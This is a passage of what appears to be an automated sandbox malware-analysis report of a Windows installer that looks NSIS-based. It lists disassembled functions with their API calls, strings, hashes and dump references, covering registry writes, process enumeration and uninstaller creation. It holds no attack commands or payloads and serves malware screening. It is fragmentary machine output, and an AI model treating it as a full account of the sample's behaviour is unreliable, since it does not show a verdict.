lstrcmpA.KERNEL32(name,?), ref: 00406FF3
CloseHandle.KERNEL32(?), ref: 00407212

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

GetTTFNameString, xrefs: 00406F33
%s: failed opening file "%s", xrefs: 00406F38
name, xrefs: 00406FEB

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction ID: 0b41acfa2c3272d6dc61f6848418d9961a63ce1f0aee58dce5ac99f5834af97b
Opcode Fuzzy Hash: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction Fuzzy Hash: 8491CB70D1412DAADF05EBE5C9908FEBBBAEF58301F00406AF592F7290E2385A05DB75

Function 004063D8 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063EB
lstrlenW.KERNEL32(?), ref: 004063F8
GetVersionExW.KERNEL32(?), ref: 00406456

Part of subcall function 00406057: CharUpperW.USER32(?,0040642D,?), ref: 0040605D

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406495
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004064B4
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004064BE
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004064C9
FreeLibrary.KERNEL32(00000000), ref: 00406500
GlobalFree.KERNEL32(?), ref: 00406509

Strings

Module32FirstW, xrefs: 004065FF
EnumProcessModules, xrefs: 004064B6
PSAPI.DLL, xrefs: 00406490
Unknown, xrefs: 00406528
Kernel32.DLL, xrefs: 004065C7
Process32FirstW, xrefs: 004065E9
GetModuleBaseNameW, xrefs: 004064C0
EnumProcesses, xrefs: 004064AE
CreateToolhelp32Snapshot, xrefs: 004065E1
Module32NextW, xrefs: 0040660A
Process32NextW, xrefs: 004065F4

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction ID: cf04814c2eceeca0522e3a2239a4cfb7588c45c97b625e8eb28f179f7b3afb0e
Opcode Fuzzy Hash: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction Fuzzy Hash: D3919371900219EBDF119FA4CD88AAEBBB8EF04705F11807AE906F7191DB788E51CF59

Function 004040E4 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404199
GetDlgItem.USER32(?,000003E8), ref: 004041AD
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004041CA
GetSysColor.USER32(?), ref: 004041DB
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041E9
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041F7
lstrlenW.KERNEL32(?), ref: 00404202
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040420F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040421E

Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404150,?), ref: 0040400D
Part of subcall function 00403FF6: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404150,?), ref: 0040401C
Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404150,?), ref: 00404030

GetDlgItem.USER32(?,0000040A), ref: 00404276
SendMessageW.USER32(00000000), ref: 0040427D
GetDlgItem.USER32(?,000003E8), ref: 004042AA
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042ED
LoadCursorW.USER32(00000000,00007F02), ref: 004042FB
SetCursor.USER32(00000000), ref: 004042FE
ShellExecuteW.SHELL32(0000070B,open,0046E220,00000000,00000000,00000001), ref: 00404313
LoadCursorW.USER32(00000000,00007F00), ref: 0040431F
SetCursor.USER32(00000000), ref: 00404322
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404351
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404363

Strings

open, xrefs: 0040430B
N, xrefs: 00404298
F, xrefs: 004042D3

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: F$N$open
API String ID: 3928313111-1104729357
Opcode ID: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction ID: b74f7aac3d4bcd21dc7a54326fe4aeb8052e912a1eb6d084c2fa05dc76f75ebb
Opcode Fuzzy Hash: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction Fuzzy Hash: 5D71B5F1A00209BFDB109F65DD45EAA7B78FB44305F00853AFA05B62E1C778AD91CB99

Function 00406AC5 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00465E20,NUL,?,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AD5
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AF4
GetShortPathNameW.KERNEL32(000000F1,00465E20,00000400), ref: 00406AFD

Part of subcall function 00405DE2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
Part of subcall function 00405DE2: lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

GetShortPathNameW.KERNEL32(000000F1,0046B478,00000400), ref: 00406B1E
WideCharToMultiByte.KERNEL32(00000000,00000000,00465E20,000000FF,00466620,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B47
WideCharToMultiByte.KERNEL32(00000000,00000000,0046B478,000000FF,00466C70,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B5F
wsprintfA.USER32 ref: 00406B79
GetFileSize.KERNEL32(00000000,00000000,0046B478,C0000000,00000004,0046B478,?,?,00000000,000000F1,?), ref: 00406BB1
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406BC0
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BDC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406C0C
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00467070,00000000,-0000000A,0040A87C,00000000,[Rename]), ref: 00406C63

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C77
GlobalFree.KERNEL32(00000000), ref: 00406C7E
CloseHandle.KERNEL32(?), ref: 00406C88

Strings

NUL, xrefs: 00406ACA
%s=%s, xrefs: 00406B6F
^F, xrefs: 00406ACF
plF, xrefs: 00406B54
[Rename], xrefs: 00406BF4, 00406C03

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: ^F$%s=%s$NUL$[Rename]$plF
API String ID: 565278875-3368763019
Opcode ID: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction ID: 187392fb1a539ff374a899d42f74550c270b9899c721d3c7d9f4fe98b52eb23c
Opcode Fuzzy Hash: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction Fuzzy Hash: F2414B322082197FE7206B61DD4CE6F3E6CDF4A758B12013AF586F21D1D6399C10867E

Function 004044D1 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 00404525
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404533
GetDlgItem.USER32(?,000003FB), ref: 00404553
GetAsyncKeyState.USER32(00000010), ref: 0040455A
GetDlgItem.USER32(?,000003F0), ref: 0040456F
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404580
SetWindowTextW.USER32(?,?), ref: 004045AF
SHBrowseForFolderW.SHELL32(?), ref: 00404669
lstrcmpiW.KERNEL32(0046E220,00451D98,00000000,?,?), ref: 004046A6
lstrcatW.KERNEL32(?,0046E220), ref: 004046B2
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004046C2
CoTaskMemFree.OLE32(00000000), ref: 00404674

Part of subcall function 00405CB0: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403FAD), ref: 00405CC3

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Part of subcall function 00403EA0: lstrcatW.KERNEL32(00000000,00000000,00476240,004D30A8,install.log,00405AC8,004D30A8,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006), ref: 00403EBB

GetDiskFreeSpaceW.KERNEL32(0044DD90,?,?,0000040F,?,0044DD90,0044DD90,?,00000000,0044DD90,?,?,000003FB,?), ref: 00404785
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047A0

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426979,74DF23A0,00000000), ref: 00406902

SetDlgItemTextW.USER32(00000000,00000400,0040A264), ref: 00404819

Strings

F, xrefs: 004046A0
A, xrefs: 00404662

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: F$A
API String ID: 3347642858-1281894373
Opcode ID: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction ID: 610cab7253faed09e83e35c18a41c8795a2522a57bd741f73bb79fe4ae4f2c97
Opcode Fuzzy Hash: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction Fuzzy Hash: A3B181B1900209BBDB11AFA1CC85AAF7BB8EF45315F10843BFA05B72D1D77C9A418B59

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,00476AA0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction ID: 3a901b8e11bd10f40e8c3d59bf329074d7a31f92ad936af625f7db958ebfa50f
Opcode Fuzzy Hash: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction Fuzzy Hash: BF518772800209AFCF05CF95DD459AFBBB9FF45315F00802AF952AA1A1C738EA50DFA4

Function 00406831 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426979,74DF23A0,00000000), ref: 00406902
GetSystemDirectoryW.KERNEL32(0046E220,00002004), ref: 00406984

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetWindowsDirectoryW.KERNEL32(0046E220,00002004), ref: 00406997
lstrcatW.KERNEL32(0046E220,\Microsoft\Internet Explorer\Quick Launch), ref: 00406A11
lstrlenW.KERNEL32(0046E220,00445D80,?,00000000,00404FD5,00445D80,00000000,00426979,74DF23A0,00000000), ref: 00406A73

Strings

F, xrefs: 00406A7F
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406952
F, xrefs: 00406858
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406A0B

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: F$ F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-1792361021
Opcode ID: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction ID: 94ababd57b57874809535cfc920d07d17cc92350817822ff6505e5e4c02fddf3
Opcode Fuzzy Hash: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction Fuzzy Hash: 9E71D6B1A00112ABDF20AF69CC44A7A3775AB55314F12C13BE907B66E0E73C89A1DB59

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004140F8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004140F8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction ID: c6ff7831871a22410ebf281ca69ba80d881ba5d3dc99c3f31bea2db7712f227d
Opcode Fuzzy Hash: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction Fuzzy Hash: EE418BB2D00208BFCF11AF91CD46DEEBB7AEF44344F20807AF605761A2D3794A509B69

Function 00406113 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
GetFileAttributesW.KERNEL32(00476240,?,00000000,00000000,?,?,00406300,00000000), ref: 00406168
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,00476240,40000000,00000004), ref: 004061A1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,00476240,40000000,00000004), ref: 004061AD
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),0040A678,?,00000000,00000000,?,?,00406300,00000000), ref: 004061C7
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,00406300,00000000), ref: 004061CE
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,00406300,00000000,?,?,00406300,00000000), ref: 004061E3

Strings

@bG, xrefs: 00406162
RMDir: RemoveDirectory invalid input(""), xrefs: 004061C1, 004061C6, 004061CD, 004061DC

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: @bG$RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-3206598305
Opcode ID: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction ID: 195d9f7db6fc7c0c2d4377fc833027156c916e626c5a885f84869a8699de3d55
Opcode Fuzzy Hash: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction Fuzzy Hash: 0121C271500240EBD710ABA8DD88D9B3B6CEB06334B118336F52ABA1E1D7389D85C7AC

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction ID: bd1c3f70b2adfd396ae192ad3b35d3c6df9fc0ba6a3ee2c413e2f7d1cf6bca0f
Opcode Fuzzy Hash: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction Fuzzy Hash: CF319E72800115ABDB11AFA9CD89DAF7FB9EF08364F10023AF515B61E1C7394E419B98

Function 004023F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426979,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426979,74DF23A0,00000000), ref: 00404FE6
